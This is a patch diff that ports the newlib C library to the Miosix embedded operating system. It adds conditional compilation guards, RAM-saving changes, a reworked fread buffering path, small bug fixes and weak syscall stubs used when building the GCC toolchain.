newlib-4.6.0.20260123-old/newlib/libc/include/sys/stat.h newlib-4.6.0.20260123/newlib/libc/include/sys/stat.h +--- newlib-4.6.0.20260123-old/newlib/libc/include/sys/stat.h 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/include/sys/stat.h 2026-02-05 18:05:46.915702783 +0100 +@@ -157,7 +157,7 @@ + int stat (const char *__restrict __path, struct stat *__restrict __sbuf ); + mode_t umask (mode_t __mask ); + +-#if defined (__SPU__) || defined(__rtems__) || defined(__CYGWIN__) ++#if defined (__SPU__) || defined(__rtems__) || defined(_MIOSIX) || defined(__CYGWIN__) + int lstat (const char *__restrict __path, struct stat *__restrict __buf ); + int mknod (const char *__path, mode_t __mode, dev_t __dev ); + #endif +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/locale/duplocale.c newlib-4.6.0.20260123/newlib/libc/locale/duplocale.c +--- newlib-4.6.0.20260123-old/newlib/libc/locale/duplocale.c 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/locale/duplocale.c 2026-02-05 15:43:40.550308824 +0100 +@@ -39,6 +39,8 @@ + #include + #include "setlocale.h" + ++#ifndef _MIOSIX ++ + struct __locale_t * + _duplocale_r (struct _reent *p, struct __locale_t *locobj) + { +@@ -100,3 +102,5 @@ + return _duplocale_r (_REENT, locobj); + } + #endif ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/locale/freelocale.c newlib-4.6.0.20260123/newlib/libc/locale/freelocale.c +--- newlib-4.6.0.20260123-old/newlib/libc/locale/freelocale.c 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/locale/freelocale.c 2026-02-05 15:43:40.550308824 +0100 +@@ -37,6 +37,8 @@ + #include + #include "setlocale.h" + ++#ifndef _MIOSIX ++ + void + _freelocale_r (struct _reent *p, struct __locale_t *locobj) + { +@@ -62,3 +64,5 @@ + { + _freelocale_r (_REENT, locobj); + } ++ ++#endif /*_MIOSIX */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/locale/locale.c newlib-4.6.0.20260123/newlib/libc/locale/locale.c +--- newlib-4.6.0.20260123-old/newlib/libc/locale/locale.c 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/locale/locale.c 2026-02-05 15:43:40.550308824 +0100 +@@ -248,6 +248,25 @@ + }; + #endif /* _MB_CAPABLE */ + ++#ifdef _MIOSIX ++/* ++ * A note on locales: there are two sets of locale-related primitives: ++ * the first is setlocale/localeconv/nl_langinfo, ++ * the second is newlocale/freelocale/duplocale/uselocale. ++ * ++ * newlib for Miosix is compiled without _MB_CAPABLE, so, setlocale just does ++ * nothing, and localeconv/nl_langinfo return non-const pointers however ++ * "According to POSIX, the caller should not modify the contents of this structure" ++ * ++ * The second set of primitives is not used by Miosix and neither by libstdc++ ++ * (checked with "cat libstdc++.a | strings | grep ''") ++ * and can simply be commented out as for Miosix locale is not a priority. ++ * ++ * All this to say that it is safe to make __global_locale const and save more ++ * than 200 bytes of RAM. ++ */ ++const ++#endif /* _MIOSIX */ + struct __locale_t __global_locale = + { + { "C", "C", DEFAULT_LOCALE, "C", "C", "C", "C", }, +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/locale/newlocale.c newlib-4.6.0.20260123/newlib/libc/locale/newlocale.c +--- newlib-4.6.0.20260123-old/newlib/libc/locale/newlocale.c 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/locale/newlocale.c 2026-02-05 15:43:40.550308824 +0100 +@@ -82,6 +82,8 @@ + #define LC_VALID_MASK (LC_COLLATE_MASK | LC_CTYPE_MASK | LC_MONETARY_MASK \ + | LC_NUMERIC_MASK | LC_TIME_MASK | LC_MESSAGES_MASK) + ++#ifndef _MIOSIX ++ + struct __locale_t * + _newlocale_r (struct _reent *p, int category_mask, const char *locale, + struct __locale_t *base) +@@ -224,3 +226,5 @@ + { + return _newlocale_r (_REENT, category_mask, locale, base); + } ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/locale/setlocale.h newlib-4.6.0.20260123/newlib/libc/locale/setlocale.h +--- newlib-4.6.0.20260123-old/newlib/libc/locale/setlocale.h 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/locale/setlocale.h 2026-02-05 15:43:40.550308824 +0100 +@@ -219,8 +219,13 @@ + _ELIDABLE_INLINE struct __locale_t * + __get_global_locale () + { ++#ifndef _MIOSIX + extern struct __locale_t __global_locale; + return &__global_locale; ++#else /* _MIOSIX */ ++ extern const struct __locale_t __global_locale; ++ return (struct __locale_t *)(&__global_locale); ++#endif /* _MIOSIX */ + } + + /* Per REENT locale. This is newlib-internal. */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/locale/uselocale.c newlib-4.6.0.20260123/newlib/libc/locale/uselocale.c +--- newlib-4.6.0.20260123-old/newlib/libc/locale/uselocale.c 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/locale/uselocale.c 2026-02-05 15:43:40.550308824 +0100 +@@ -55,6 +55,8 @@ + #include + #include "setlocale.h" + ++#ifndef _MIOSIX ++ + struct __locale_t * + _uselocale_r (struct _reent *p, struct __locale_t *newloc) + { +@@ -77,3 +79,5 @@ + return _uselocale_r (_REENT, newloc); + } + #endif ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/posix/closedir.c newlib-4.6.0.20260123/newlib/libc/posix/closedir.c +--- newlib-4.6.0.20260123-old/newlib/libc/posix/closedir.c 2026-02-05 11:54:50.426864203 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/posix/closedir.c 2026-02-05 15:43:40.550308824 +0100 +@@ -53,7 +53,15 @@ + __lock_acquire_recursive(dirp->dd_lock); + #endif + rc = close(dirp->dd_fd); ++#ifndef _MIOSIX + _cleanupdir(dirp); ++#else /* _MIOSIX */ ++ /* ++ * A call through a pointer avoids pulling in _cleanupdir, which brings ++ * in 128 bytes of BSS, unless user code actually uses seekdir/telldir. ++ */ ++ if(dirp->dd_onclose) dirp->dd_onclose(dirp); ++#endif /* _MIOSIX */ + free((void *)dirp->dd_buf); + #ifdef HAVE_DD_LOCK + __lock_release_recursive(dirp->dd_lock); +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/posix/_isatty.c newlib-4.6.0.20260123/newlib/libc/posix/_isatty.c +--- newlib-4.6.0.20260123-old/newlib/libc/posix/_isatty.c 2026-02-05 11:54:50.426864203 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/posix/_isatty.c 2026-02-06 23:34:34.690749025 +0100 +@@ -2,6 +2,11 @@ + + /* Dumb implementation so programs will at least run. */ + ++/* ++ * in Miosix isatty() is actually a syscall ++ */ ++#ifndef _MIOSIX ++ + #include + #include + +@@ -19,3 +24,5 @@ + errno = ENOTTY; + return 0; + } ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/posix/isatty.c newlib-4.6.0.20260123/newlib/libc/posix/isatty.c +--- newlib-4.6.0.20260123-old/newlib/libc/posix/isatty.c 2026-02-05 11:54:50.426864203 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/posix/isatty.c 2026-02-06 23:34:32.510743555 +0100 +@@ -1,5 +1,10 @@ + /* isatty.c */ + ++/* ++ * in Miosix isatty() is actually a syscall ++ */ ++#ifndef _MIOSIX ++ + #include + #include + +@@ -8,3 +13,5 @@ + { + return _isatty (fd); + } ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/posix/opendir.c newlib-4.6.0.20260123/newlib/libc/posix/opendir.c +--- newlib-4.6.0.20260123-old/newlib/libc/posix/opendir.c 2026-02-05 11:54:50.426864203 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/posix/opendir.c 2026-02-05 15:43:40.550308824 +0100 +@@ -54,8 +54,16 @@ + * Hopefully this can be a big win someday by allowing page trades + * to user space to be done by getdirentries() + */ ++#ifndef _MIOSIX + dirp->dd_buf = malloc (512); + dirp->dd_len = 512; ++#else /* _MIOSIX */ ++ /* Allocate the minimum possible size */ ++ dirp->dd_buf = malloc (sizeof(struct dirent)); ++ dirp->dd_len = sizeof(struct dirent); ++ /* Assume seekdir/telldir unused until they're actually called */ ++ dirp->dd_onclose = NULL; ++#endif /* _MIOSIX */ + + if (dirp->dd_buf == NULL) { + free (dirp); +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/posix/rewinddir.c newlib-4.6.0.20260123/newlib/libc/posix/rewinddir.c +--- newlib-4.6.0.20260123-old/newlib/libc/posix/rewinddir.c 2026-02-05 11:54:50.426864203 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/posix/rewinddir.c 2026-02-15 15:10:05.605660386 +0100 +@@ -36,6 +36,7 @@ + #include + #include + #include ++#include + + void + rewinddir (DIR *dirp) +@@ -43,7 +44,16 @@ + #ifdef HAVE_DD_LOCK + __lock_acquire_recursive(dirp->dd_lock); + #endif ++ ++#ifndef _MIOSIX + _seekdir((dirp), 0L); ++#else /* _MIOSIX */ ++ /* This avoids pulling in _seekdir, which brings in 128 byte of BSS */ ++ (void) lseek(dirp->dd_fd, 0, 0); ++ dirp->dd_seek = 0; ++ dirp->dd_loc = 0; ++#endif /* _MIOSIX */ ++ + #ifdef HAVE_DD_LOCK + __lock_release_recursive(dirp->dd_lock); + #endif +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/posix/telldir.c newlib-4.6.0.20260123/newlib/libc/posix/telldir.c +--- newlib-4.6.0.20260123-old/newlib/libc/posix/telldir.c 2026-02-05 11:54:50.426864203 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/posix/telldir.c 2026-02-05 15:43:40.550308824 +0100 +@@ -70,6 +70,8 @@ + __LOCK_INIT(static, __dd_hash_mutex); + #endif + ++void _cleanupdir (register DIR *dirp); ++ + /* + * return a pointer into a directory + */ +@@ -91,6 +93,9 @@ + __lock_acquire(__dd_hash_mutex); + #endif + #endif ++#ifdef _MIOSIX ++ dirp->dd_onclose=_cleanupdir; ++#endif /* _MIOSIX */ + index = dd_loccnt++; + lp->loc_index = index; + lp->loc_seek = dirp->dd_seek; +@@ -125,6 +130,9 @@ + __lock_acquire(__dd_hash_mutex); + #endif + if (loc != 0) { ++#ifdef _MIOSIX ++ dirp->dd_onclose=_cleanupdir; ++#endif /* _MIOSIX */ + prevlp = &dd_hash[LOCHASH(loc)]; + lp = *prevlp; + while (lp != NULL) { +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/stdio/fread.c newlib-4.6.0.20260123/newlib/libc/stdio/fread.c +--- newlib-4.6.0.20260123-old/newlib/libc/stdio/fread.c 2026-02-05 11:54:50.430864218 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/stdio/fread.c 2026-02-05 15:43:40.550308824 +0100 +@@ -84,6 +84,8 @@ + #include + #include + #include ++#include ++#include + #include "local.h" + + #ifdef __IMPL_UNLOCKED__ +@@ -91,6 +93,8 @@ + #define fread fread_unlocked + #endif + ++#define MIN(a, b) ((a) < (b) ? (a) : (b)) ++ + #ifdef __SCLE + static size_t + crlf_r (struct _reent * ptr, +@@ -170,23 +174,77 @@ + + #if !defined(PREFER_SIZE_OVER_SPEED) && !defined(__OPTIMIZE_SIZE__) + +- /* Optimize unbuffered I/O. */ ++ int buffer_size; + if (fp->_flags & __SNBF) ++ buffer_size = 1; /* Unbuffered file, buffer_size is 1 see __smakebuf_r */ ++ else ++ { ++ if (fp->_bf._base == NULL) ++ __smakebuf_r (ptr, fp); ++ buffer_size = fp->_bf._size; /* fp->_bf._size is zero until __smakebuf_r */ ++ } ++ ++ /* Optimize unbuffered I/O and large reads. */ ++ if (resid >= buffer_size) + { +- /* First copy any available characters from ungetc buffer. */ +- int copy_size = resid > fp->_r ? fp->_r : resid; +- (void) memcpy ((void *) p, (void *) fp->_p, (size_t) copy_size); +- fp->_p += copy_size; +- fp->_r -= copy_size; +- p += copy_size; +- resid -= copy_size; +- +- /* If still more data needed, free any allocated ungetc buffer. */ +- if (HASUB (fp) && resid > 0) +- FREEUB (ptr, fp); ++ /* If we were writing, need to flush in case the file was buffered. ++ This code was taken from __srefill_r */ ++ if ((fp->_flags & __SRD) == 0) ++ { ++ if ((fp->_flags & __SRW) == 0) ++ { ++ ptr->_errno = EBADF; ++ fp->_flags |= __SERR; ++ _newlib_flockfile_exit (fp); ++ return 0; ++ } ++ /* switch to reading */ ++ if (fp->_flags & __SWR) ++ { ++ if (__sflush_r (ptr, fp)) ++ { ++ _newlib_flockfile_exit (fp); ++ return 0; ++ } ++ fp->_flags &= ~__SWR; ++ fp->_w = 0; ++ fp->_lbfsize = 0; ++ } ++ fp->_flags |= __SRD; ++ } ++ else ++ { ++ /* ++ * We were reading. There may be data in up to two buffers, the ++ * file buffer if this is a buffered file, and the ungetc buffer, ++ * that can exist also in unbuffered files. ++ * This loop can iterate at most twice, the first time when we consume ++ * the ungetc buffer and restore the file buffer, and the second time ++ * when we consume the file buffer. ++ */ ++ int copy_size; ++ while ((copy_size = resid > fp->_r ? fp->_r : resid) > 0) ++ { ++ (void) memcpy ((void *) p, (void *) fp->_p, (size_t) copy_size); ++ fp->_p += copy_size; ++ fp->_r -= copy_size; ++ p += copy_size; ++ resid -= copy_size; ++ ++ /* If still more data needed, free any allocated ungetc buffer. */ ++ if (HASUB (fp) && resid > 0) ++ { ++ FREEUB (ptr, fp); ++ /* Code taken from __srefill_r, does anybody know why we don't ++ * unconditionally restore fp->_p? */ ++ if ((fp->_r = fp->_ur) != 0) ++ fp->_p = fp->_up; ++ } ++ } ++ } + + /* Finally read directly into user's buffer if needed. */ +- while (resid > 0) ++ while (resid >= buffer_size) + { + int rc = 0; + /* save fp buffering state */ +@@ -195,7 +253,7 @@ + int old_size = fp->_bf._size; + /* allow __refill to use user's buffer */ + fp->_bf._base = (unsigned char *) p; +- fp->_bf._size = resid; ++ fp->_bf._size = ((int)MIN (resid, INT_MAX)) / buffer_size * buffer_size; + fp->_p = (unsigned char *) p; + rc = __srefill_r (ptr, fp); + /* restore fp buffering back to original state */ +@@ -219,34 +277,31 @@ + } + } + } +- else + #endif /* !PREFER_SIZE_OVER_SPEED && !__OPTIMIZE_SIZE__ */ ++ while (resid > (r = fp->_r)) + { +- while (resid > (r = fp->_r)) +- { +- (void) memcpy ((void *) p, (void *) fp->_p, (size_t) r); +- fp->_p += r; +- /* fp->_r = 0 ... done in __srefill */ +- p += r; +- resid -= r; +- if (__srefill_r (ptr, fp)) +- { +- /* no more input: return partial result */ ++ (void) memcpy ((void *) p, (void *) fp->_p, (size_t) r); ++ fp->_p += r; ++ /* fp->_r = 0 ... done in __srefill */ ++ p += r; ++ resid -= r; ++ if (__srefill_r (ptr, fp)) ++ { ++ /* no more input: return partial result */ + #ifdef __SCLE +- if (fp->_flags & __SCLE) +- { +- _newlib_flockfile_exit (fp); +- return crlf_r (ptr, fp, buf, total-resid, 1) / size; +- } ++ if (fp->_flags & __SCLE) ++ { ++ _newlib_flockfile_exit (fp); ++ return crlf_r (ptr, fp, buf, total-resid, 1) / size; ++ } + #endif +- _newlib_flockfile_exit (fp); +- return (total - resid) / size; +- } +- } +- (void) memcpy ((void *) p, (void *) fp->_p, resid); +- fp->_r -= resid; +- fp->_p += resid; ++ _newlib_flockfile_exit (fp); ++ return (total - resid) / size; ++ } + } ++ (void) memcpy ((void *) p, (void *) fp->_p, resid); ++ fp->_r -= resid; ++ fp->_p += resid; + + /* Perform any CR/LF clean-up if necessary. */ + #ifdef __SCLE +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/stdio/local.h newlib-4.6.0.20260123/newlib/libc/stdio/local.h +--- newlib-4.6.0.20260123-old/newlib/libc/stdio/local.h 2026-02-05 11:54:50.430864218 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/stdio/local.h 2026-02-27 11:09:42.861216216 +0100 +@@ -56,7 +56,7 @@ + the appropriate _newlib_XXX_exit macro. */ + + #if !defined (__SINGLE_THREAD__) && defined (_POSIX_THREADS) \ +- && !defined (__rtems__) ++ && !defined (__rtems__) && !defined (_MIOSIX) + #define _STDIO_WITH_THREAD_CANCELLATION_SUPPORT + #endif + +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/stdlib/__atexit.c newlib-4.6.0.20260123/newlib/libc/stdlib/__atexit.c +--- newlib-4.6.0.20260123-old/newlib/libc/stdlib/__atexit.c 2026-02-05 11:54:50.434864234 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/stdlib/__atexit.c 2026-02-05 15:43:40.550308824 +0100 +@@ -38,6 +38,13 @@ + #include + #include "atexit.h" + ++/* ++ * Miosix moves __register_exitproc outside of newlib to make it possible to ++ * compile the kernel both with and without atexit support, without rebuilding ++ * newlib. ++ */ ++#ifndef _MIOSIX ++ + /* Make this a weak reference to avoid pulling in malloc. */ + #ifndef MALLOC_PROVIDED + void * malloc(size_t) _ATTRIBUTE((__weak__)); +@@ -152,3 +159,5 @@ + #endif + return 0; + } ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/stdlib/__call_atexit.c newlib-4.6.0.20260123/newlib/libc/stdlib/__call_atexit.c +--- newlib-4.6.0.20260123-old/newlib/libc/stdlib/__call_atexit.c 2026-02-05 11:54:50.434864234 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/stdlib/__call_atexit.c 2026-02-05 15:43:40.550308824 +0100 +@@ -13,12 +13,16 @@ + void free(void *) _ATTRIBUTE((__weak__)); + #endif + ++#ifndef _MIOSIX ++ + #ifndef __SINGLE_THREAD__ + __LOCK_INIT_RECURSIVE(, __atexit_recursive_mutex); + #endif + + struct _atexit *__atexit = _NULL; + ++#endif /* _MIOSIX */ ++ + #ifdef _WANT_REGISTER_FINI + + /* If "__libc_fini" is defined, finalizers (either +@@ -60,6 +64,12 @@ + #endif /* _WANT_REGISTER_FINI */ + + /* ++ * Miosix moves __call_exitprocs out of newlib to make it possible to compile ++ * the kernel both with and without atexit support, without rebuilding newlib ++ */ ++#ifndef _MIOSIX ++ ++/* + * Call registered exit handlers. If D is null then all handlers are called, + * otherwise only the handlers from that DSO are called. + */ +@@ -171,3 +181,4 @@ + #endif + + } ++#endif /* _MIOSIX */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/stdlib/_mallocr.c newlib-4.6.0.20260123/newlib/libc/stdlib/_mallocr.c +--- newlib-4.6.0.20260123-old/newlib/libc/stdlib/_mallocr.c 2026-02-05 11:54:50.434864234 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/stdlib/_mallocr.c 2026-02-06 23:52:49.017494782 +0100 +@@ -324,7 +324,16 @@ + #ifdef SMALL_MEMORY + #define malloc_getpagesize (128) + #else ++#ifndef _MIOSIX + #define malloc_getpagesize (4096) ++#else /* _MIOSIX */ ++/* Miosix runs without virtual memory so there isn't really the concept of page, ++ * but microcontrolllers RAM size is most often a multiple on 1KB but not ++ * necessarily 4KB and the heap in Miosix extends till the end of the available ++ * RAM. Reducing malloc_getpagesize allows the heap to expand till the last ++ * kilobyte of available RAM */ ++#define malloc_getpagesize (1024) ++#endif /* _MIOSIX */ + #endif + #endif + #endif +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/stdlib/mlock.c newlib-4.6.0.20260123/newlib/libc/stdlib/mlock.c +--- newlib-4.6.0.20260123-old/newlib/libc/stdlib/mlock.c 2026-02-05 11:54:50.434864234 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/stdlib/mlock.c 2026-02-05 15:43:40.550308824 +0100 +@@ -32,6 +32,11 @@ + #include + #include + ++/* ++ * __malloc_lock() and __malloc_unlock() are dealt with within Miosix ++ */ ++#ifndef _MIOSIX ++ + #ifndef __SINGLE_THREAD__ + __LOCK_INIT_RECURSIVE(static, __malloc_recursive_mutex); + #endif +@@ -54,4 +59,6 @@ + #endif + } + ++#endif /* !_MIOSIX */ ++ + #endif +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/string/local.h newlib-4.6.0.20260123/newlib/libc/string/local.h +--- newlib-4.6.0.20260123-old/newlib/libc/string/local.h 2026-02-05 11:54:50.438864250 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/string/local.h 2026-03-22 11:34:54.128373939 +0100 +@@ -21,7 +21,7 @@ + * This macro is used to skip a few bytes to find an aligned pointer. + * It's better to keep it as is even if _HAVE_HW_MISALIGNED_ACCESS is enabled, + * to avoid small performance penalties (if they are not zero). */ +-#define UNALIGNED_X(X) ((long)X & (sizeof (long) - 1)) ++#define UNALIGNED_X(X) ((long)(X) & (sizeof (long) - 1)) + + #ifdef _HAVE_HW_MISALIGNED_ACCESS + /* Hardware performs unaligned operations with little +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/string/memrchr.c newlib-4.6.0.20260123/newlib/libc/string/memrchr.c +--- newlib-4.6.0.20260123-old/newlib/libc/string/memrchr.c 2026-02-05 11:54:50.438864250 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/string/memrchr.c 2026-03-18 22:09:49.320846474 +0100 +@@ -47,7 +47,7 @@ + unsigned long mask; + unsigned int i; + +- while (UNALIGNED_X(src)) ++ while (UNALIGNED_X(src + 1)) + { + if (!length--) + return NULL; +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/Makefile.inc newlib-4.6.0.20260123/newlib/libc/sys/Makefile.inc +--- newlib-4.6.0.20260123-old/newlib/libc/sys/Makefile.inc 2026-02-05 11:54:50.438864250 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/Makefile.inc 2026-02-07 23:23:54.117055820 +0100 +@@ -22,6 +22,9 @@ + if HAVE_LIBC_SYS_M88KBUG_DIR + include %D%/m88kbug/Makefile.inc + endif ++if HAVE_LIBC_SYS_MIOSIX_DIR ++include %D%/miosix/Makefile.inc ++endif + if HAVE_LIBC_SYS_MMIXWARE_DIR + include %D%/mmixware/Makefile.inc + endif +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/crt0.c newlib-4.6.0.20260123/newlib/libc/sys/miosix/crt0.c +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/crt0.c 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/crt0.c 2026-02-07 23:14:05.891580029 +0100 +@@ -0,0 +1,6 @@ ++/* ++ * This file is empty but is still required as a crt0.o is expected by the ++ * newlib build system. ++ * The real crt0 is part of libsyscalls when compiling processes, and part of ++ * the kernel when compiling the kernel. ++ */ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/machine/_types.h newlib-4.6.0.20260123/newlib/libc/sys/miosix/machine/_types.h +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/machine/_types.h 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/machine/_types.h 2026-02-15 11:37:26.929887891 +0100 +@@ -0,0 +1,15 @@ ++ ++#ifndef _MACHINE__TYPES_H ++#define _MACHINE__TYPES_H ++ ++#include ++ ++/* ++ * The Miosix filesystem code assumes off_t and ino_t are 64 bit types. ++ */ ++typedef signed long long _off_t; ++#define __machine_off_t_defined 1 ++typedef unsigned long long __ino_t; ++#define __machine_ino_t_defined 1 ++ ++#endif /*_MACHINE__TYPES_H*/ +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/Makefile.inc newlib-4.6.0.20260123/newlib/libc/sys/miosix/Makefile.inc +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/Makefile.inc 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/Makefile.inc 2026-02-15 15:15:47.373654292 +0100 +@@ -0,0 +1 @@ ++libc_a_SOURCES += %D%/crt0.c %D%/termios.c %D%/stubs.c +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/stubs.c newlib-4.6.0.20260123/newlib/libc/sys/miosix/stubs.c +--- newlib-4.6.0.20260123-old/newlib/libc/sys/miosix/stubs.c 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/sys/miosix/stubs.c 2026-03-23 22:51:50.460032699 +0100 +@@ -0,0 +1,109 @@ ++/* ++ * RATIONALE: these stubs exists only so that when building the GCC compiler ++ * for Miosix (arm-miosix-eabi-gcc), the configure scripts can compile and link ++ * test executables for feature checks. ++ * This is needed to build libgcc.a, libstdc++.a, libatomic.a, ... ++ * After GCC is built, we build libsyscalls.a, which is where the real syscalls ++ * are. Miosix due to being a fluid kernel deviates from the usual unix-like ++ * operating systems as it keeps syscalls in a separate library from the C ++ * standard library. ++ * We do so since the C library is also linked by the kernel, and in that case ++ * kercalls should be used, not syscalls. ++ * Since it was observed that these stubs sometimes get linked into real ++ * programs, as a final step when building the compiler, we remove stubs.o ++ * from libc.a, so this code should not end up in the final libc.a, but the ++ * newlib build system doesn't know that. ++ */ ++ ++#include ++#include ++#include ++#include ++#include ++#include ++ ++#ifdef __getreent ++#undef __getreent ++#endif ++ ++#define AW __attribute__((weak)) ++ ++int AW __register_exitproc(int a, void (*b)(), void *c, void *d) { return 0; } ++void AW __call_exitprocs(int a, void *b) {} ++void AW _exit(int a) { for(;;) ; } ++void * AW _sbrk_r(struct _reent *a, ptrdiff_t b) { return (void*)-1; } ++void AW __malloc_lock() {} ++void AW __malloc_unlock() {} ++struct _reent * AW __getreent() { return _impure_ptr; } ++int AW _open_r( struct _reent *a, const char *b, int c, int d) { return -1; } ++int AW open(const char *a, int b, ...) { return -1; } ++int AW _close_r(struct _reent *a, int b) { return -1; } ++int AW close(int a) { return -1; } ++int AW _write_r(struct _reent *a, int b, const void *c, size_t d) { return -1; } ++int AW write(int a, const void *b, size_t c) { return -1; } ++int AW _read_r( struct _reent *a, int b, void *c, size_t d) { return -1; } ++int AW read(int a, void *b, size_t c) { return -1; } ++off_t AW _lseek_r(struct _reent *a, int b, off_t c, int d) { return -1; } ++off_t AW lseek(int a, off_t b, int c) { return -1; } ++int AW _fstat_r(struct _reent *a, int b, struct stat *c) { return -1; } ++int AW fstat(int a, struct stat *b) { return -1; } ++int AW _stat_r( struct _reent *a, const char *b, struct stat *c) { return -1; } ++int AW stat(const char *a, struct stat *b) { return -1; } ++int AW lstat(const char *a, struct stat *b) { return -1; } ++int AW truncate(const char *a, off_t b) { return -1; } ++int AW symlink(const char *a, const char *b) { return -1; } ++int AW readlink(const char *a, char *b, size_t c) { return -1; } ++int AW _isatty_r(struct _reent *a, int b) { return 0; } ++int AW isatty(int a) { return 0; } ++int AW _fcntl_r(struct _reent *a, int b, int c, int d) { return -1; } ++int AW fcntl(int a, int b, ...) { return -1; } ++int AW _ioctl_r(struct _reent *a, int b, int c, void *d) { return -1; } ++int AW ioctl(int a, int b, void *c) { return -1; } ++char * AW _getcwd_r(struct _reent *a, char *b, size_t c) { return 0; } ++char * AW getcwd(char *a, size_t b) { return 0; } ++int AW _chdir_r(struct _reent *a, const char *b) { return -1; } ++int AW chdir(const char *a) { return -1; } ++int AW _mkdir_r(struct _reent *a, const char *b, int c) { return -1; } ++int AW mkdir(const char *a, mode_t b) { return -1; } ++int AW _rmdir_r(struct _reent *a, const char *b) { return -1; } ++int AW rmdir(const char *a) { return -1; } ++int AW _link_r( struct _reent *a, const char *b, const char *c) { return -1; } ++int AW link(const char *a, const char *b) { return -1; } ++int AW _unlink_r(struct _reent *a, const char *b) { return -1; } ++int AW unlink(const char *a) { return -1; } ++int AW _rename_r(struct _reent *a, const char *b, const char *c) { return -1; } ++int AW rename(const char *a, const char *b) { return -1; } ++int AW getdents(unsigned int a, struct dirent *b, unsigned int c) { return -1; } ++int AW pthread_create(pthread_t *a, const pthread_attr_t *b, void *(*c)(void *), void *d) { return -1; } ++int AW pthread_join(pthread_t a, void **b) { return -1; } ++int AW pthread_detach(pthread_t a) { return -1; } ++pthread_t AW pthread_self() { return -1; } ++int AW pthread_mutex_init(pthread_mutex_t *a, const pthread_mutexattr_t *b) { return -1; } ++int AW pthread_mutex_lock(pthread_mutex_t *a) { return 0; } ++int AW pthread_mutex_unlock(pthread_mutex_t *a) { return 0; } ++int AW pthread_mutex_destroy(pthread_mutex_t *a) { return 0; } ++int AW pthread_cond_init(pthread_cond_t *a, const pthread_condattr_t *b) { return -1; } ++int AW pthread_cond_wait(pthread_cond_t *a, pthread_mutex_t *b) { return -1; } ++int AW pthread_cond_timedwait(pthread_cond_t *a, pthread_mutex_t *b, const struct timespec *c) { return -1; } ++int AW pthread_cond_clockwait(pthread_cond_t *a, pthread_mutex_t *b, clockid_t c, const struct timespec *d) { return -1; } ++int AW pthread_cond_signal(pthread_cond_t *a) { return -1; } ++int AW pthread_cond_broadcast(pthread_cond_t *a) { return -1; } ++int AW pthread_cond_destroy(pthread_cond_t *a) { return -1; } ++int AW pthread_once(pthread_once_t *a, void (*b)()) { return -1; } ++int AW clock_gettime(clockid_t a, struct timespec *b) { return -1; } ++int AW clock_settime(clockid_t a, const struct timespec *b) { return -1; } ++int AW clock_getres(clockid_t a, struct timespec *b) { return -1; } ++int AW clock_nanosleep(clockid_t a, int b, ++ const struct timespec *c, struct timespec *d) { return -1; } ++clock_t AW _times_r(struct _reent *a, struct tms *b) { return -1; } ++clock_t AW times(struct tms *a) { return -1; } ++int AW _gettimeofday_r(struct _reent *a, struct timeval *b, void *c) { return -1; } ++int AW gettimeofday(struct timeval *a, void *b) { return -1; } ++int AW nanosleep(const struct timespec *a, struct timespec *b) { return -1; } ++int AW _kill_r(struct _reent* a, int b, int c) { return -1; } 